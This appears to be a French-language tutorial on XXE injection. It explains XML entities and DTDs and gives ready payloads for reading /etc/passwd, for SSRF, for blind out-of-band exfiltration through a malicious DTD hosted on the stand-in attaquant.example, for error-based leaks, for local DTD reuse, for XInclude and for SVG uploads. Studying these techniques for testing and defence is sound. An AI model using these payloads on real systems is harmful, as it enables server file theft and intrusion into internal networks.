Aller au contenu

Injection XXE

L'injection d'entité externe XML (XML External Entity, XXE) permet à un attaquant d'interférer avec le traitement des données XML par une application. Elle ouvre souvent l'accès à la lecture de fichiers du serveur et à l'interaction avec ses systèmes internes et externes. Dans certains cas, on peut l'escalader en attaque SSRF pour compromettre le serveur ou l'infrastructure backend.

Les failles XXE proviennent d'une particularité du format : les spécifications XML contiennent des fonctionnalités puissantes — notamment les entités externes — que les parseurs standards prennent en charge même quand l'application ne les utilise pas. C'est cette surface inutilisée mais active qui est exploitée.

XML n'est qu'un transport

XML est avant tout un format de transfert. Au-delà du XXE, il vaut toujours la peine de tester les autres attaques accessibles via ce vecteur — XSS, injection SQL — en encodant au besoin le payload avec des séquences d'échappement XML, ce qui sert aussi à contourner des défenses faibles.

Rappels sur les entités XML

Le DTD (Document Type Definition) déclare la structure d'un document XML, dans l'élément optionnel DOCTYPE en tête de fichier. Il peut être interne (contenu dans le document), externe (chargé d'ailleurs), ou hybride.

Une entité personnalisée se définit dans le DTD et agit comme une variable de substitution :

<!DOCTYPE foo [ <!ENTITY myentity "valeur de remplacement" > ]>

Chaque référence &myentity; dans le document sera alors remplacée par cette valeur.

Une entité externe est une entité dont la valeur est chargée depuis une source extérieure, désignée par le mot-clé SYSTEM suivi d'une URL. C'est le cœur du XXE, car cette URL peut utiliser le protocole file:// pour lire un fichier local :

<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///chemin/vers/fichier" > ]>

Enfin, une entité paramètre (préfixée de %) sert à contourner certains blocages et s'utilise directement dans le DTD plutôt que dans le corps du document :

<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://attaquant.example"> %xxe; ]>

Les types d'attaque XXE

Quatre objectifs principaux : lire des fichiers (l'entité externe contient le contenu d'un fichier, renvoyé dans la réponse), mener une SSRF (l'entité pointe vers une URL interne), exfiltrer hors-bande (la donnée transite vers un système contrôlé), et lire via les messages d'erreur (une erreur de parsing révèle la donnée). Un fichier XML contient de nombreuses valeurs, et n'importe laquelle peut potentiellement être reflétée dans la réponse : il faut tester chacune pour trouver celle qui s'affiche.

XXE pour lire des fichiers

La technique demande deux modifications du XML soumis : introduire un DOCTYPE qui définit une entité externe pointant vers le fichier cible, et placer cette entité à l'emplacement d'une valeur reflétée dans la réponse. Pour une requête de vérification de stock :

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>

L'entité &xxe; contient le contenu de /etc/passwd, placée à la place du productId reflété — l'application affiche alors le fichier.

XXE pour mener une SSRF

On définit une entité externe pointant vers une URL interne, et on la place dans une valeur reflétée. Si la réponse est renvoyée, on obtient une interaction bidirectionnelle avec le backend ; sinon, l'attaque reste aveugle (mais souvent exploitable) :

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://interne.site-vulnerable.example/"> ]>

S'il s'agit d'un répertoire, la réponse révèle souvent le premier sous-dossier, voire la liste complète, ce qui permet de naviguer de proche en proche dans l'infrastructure.

XXE aveugle

L'attaque est aveugle quand la valeur de l'entité n'est jamais reflétée dans la réponse. Des techniques plus avancées deviennent alors nécessaires.

Détection hors-bande (OAST). Comme pour une SSRF, on déclenche une interaction vers un système contrôlé. Une requête reçue confirme la vulnérabilité :

<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://attaquant.example"> %xxe; ]>

Exfiltration hors-bande via DTD malveillant. Pour extraire un fichier, on héberge un DTD malveillant sur son serveur et on le déclenche depuis le payload soumis. Le DTD enchaîne trois entités : une qui lit le fichier, une qui construit dynamiquement une requête contenant ce contenu, et une qui la déclenche :

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://attaquant.example/?x=%file;'>">
%eval;
%exfiltrate;

Le payload soumis à l'application charge ce DTD externe et l'interprète :

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attaquant.example/malveillant.dtd"> %xxe;]>

Le contenu de /etc/passwd part alors vers le serveur de l'attaquant, encodé dans l'URL.

Caractères interdits dans l'URL

Cette technique échoue parfois sur des contenus comportant des sauts de ligne (comme /etc/passwd), certains parseurs validant les caractères de l'URL. On utilise alors le protocole FTP au lieu de HTTP, ou l'on cible un fichier sans saut de ligne comme /etc/hostname. Le code &#x25; est l'encodage numérique de %, utile pour contourner certaines restrictions.

Exfiltration via messages d'erreur. Si l'application renvoie les erreurs de parsing, on provoque une erreur dont le message contient le fichier visé, en tentant de charger un chemin inexistant construit à partir de son contenu :

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///inexistant/%file;'>">
%eval;
%error;

Le message d'erreur, signalant l'échec de chargement, inclut le nom du fichier inexistant — donc le contenu de /etc/passwd.

Réutilisation d'un DTD local. Quand les interactions hors-bande sont bloquées, une faille des spécifications XML reste exploitable. Si un document combine DTD interne et externe, le DTD interne peut redéfinir une entité du DTD externe, ce qui relâche les restrictions sur les entités paramètres imbriquées. On invoque alors un DTD présent sur le serveur et on redéfinit une de ses entités pour déclencher une erreur révélatrice :

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///inexistant/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

Pour trouver un DTD local réutilisable, on profite du fait que l'application renvoie les erreurs de parsing : on énumère les fichiers DTD candidats en tentant de les charger. Sur les systèmes Linux utilisant l'environnement GNOME, le fichier /usr/share/yelp/dtd/docbookx.dtd est par exemple souvent présent.

Trouver des points d'injection cachés

Souvent le point d'injection est évident (le trafic contient du XML), mais d'autres surfaces sont plus discrètes.

Attaques XInclude. Quand l'application intègre une entrée utilisateur dans un document XML construit côté serveur (une requête SOAP backend, par exemple), on ne contrôle pas le document entier et l'on ne peut donc pas définir de DOCTYPE. XInclude contourne cela en permettant de référencer un fichier depuis n'importe quelle valeur :

<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/>
</foo>

inséré à la place d'un simple paramètre (productId=1).

XXE via upload de fichier. Le format SVG étant du XML, on peut uploader un SVG malveillant là où une image est attendue :

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" version="1.1">
<text font-size="16" x="0" y="16">&xxe;</text>
</svg>

Le contenu du fichier ciblé apparaît alors dans l'image affichée. Les formats de documents Office (.docx, .xlsx) reposant aussi sur du XML, ils constituent un vecteur similaire.

XXE via type de contenu modifié. Certaines applications attendent un corps x-www-form-urlencoded mais tolèrent du XML. Reformater la requête en text/xml révèle alors une surface d'attaque cachée :

POST /action HTTP/1.0
Content-Type: text/xml

<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>

Si l'application parse ce corps comme du XML, le terrain est ouvert pour une injection XXE.

Aide-mémoire

Objectif Approche
Lire un fichier Entité externe file:// placée dans une valeur reflétée
SSRF Entité externe vers une URL interne
Détecter (aveugle) Entité paramètre vers un domaine hors-bande
Exfiltrer (aveugle) DTD malveillant externe enchaînant file / eval / exfiltrate
Exfiltrer sans hors-bande Erreur de parsing (chemin inexistant) ; réutilisation d'un DTD local
Pas de DOCTYPE possible XInclude depuis une valeur isolée
Vecteurs cachés Upload SVG/Office, requête reformatée en text/xml

Le scanner de Burp Suite détecte couramment les vulnérabilités XXE, ce qui en fait un bon point de départ avant d'approfondir manuellement les techniques aveugles.